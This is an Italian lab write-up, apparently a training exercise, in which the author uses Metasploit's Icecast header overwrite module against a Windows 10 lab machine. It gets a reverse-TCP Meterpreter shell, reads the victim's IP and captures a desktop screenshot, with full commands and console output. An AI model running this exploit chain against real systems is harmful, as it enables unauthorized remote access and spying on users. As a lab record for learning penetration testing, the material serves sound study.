

Exploit di Icecast su Windows 10

Obiettivo:

Ottenere una sessione di Meterpreter sul target Windows 10 con Metasploit.

Una volta ottenuta la sessione, si dovrà:

- Vedere l'indirizzo IP della vittima.
- Recuperare uno screenshot tramite la sessione Meterpreter.

Sono partito con l'avvio di ***msfconsole***:

[illegible]

Dopodiché ho cercato il modulo per l'exploit richiesto, cioè **ICECAST**, con il comando **'search icecast'** e ho scelto il modulo 0 con il comando **'use 0'**.

Con **'options'** ho controllato la configurazione e ho visto che mancava solo RHOST, visto che mi dava di default il payload di meterpreter di windows con reverse_tcp, LHOST e LPORT già configurate, ho dovuto settare solo RHOST con **'set RHOST'** dando l'IP della macchina target:

```
msf6 > search icecast | /TCB00VVL- jpeg

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  exploit/windows/http/icecast_header      2004-09-28      great No     Icecast Header Overwrite

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.50.100  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     8000             yes       The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.50.100  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/http/icecast_header) > set RHOSTS 192.168.50.3
RHOSTS => 192.168.50.3
```

Ho controllato la configurazione modificata e prima di avviare l'exploit con **'run'** ho aperto su windows ICECAST

```
msf6 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.50.3     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     8000             yes       The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.50.100  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.50.100:4444

[*] Sending stage (177734 bytes) to 192.168.50.3
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.3:49741) at 2024-12-19 08:52:54 -0500

meterpreter >
meterpreter > ipconfig
```

Mi ha aperto la sessione con meterpreter e quindi con '**ipconfig**' ho scoperto l'IP della macchina target:

```
Interface 5
=====
Name       : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:1a:4b:92
MTU        : 1500
IPv4 Address : 192.168.50.3
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::b02e:e0b0:6720:dc1e
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

Mentre con '**screenshot**' mi ha scattato un'istantanea del desktop della macchina target e la salva in home/kali:

```
meterpreter > screenshot
Screenshot saved to: /home/kali/TCJDuVYL.jpeg
meterpreter > █
```

Infine, su un terminale nuovo, con il comando '**xdg-open /home/kali/<Nome_file.jpeg>**' ho controllato lo screenshot.

```
File Actions Edit View Help
(kali@kali)-[~]
$ xdg-open /home/kali/TCJDuVYL.jpeg
(kali@kali)-[~]
$ █
```

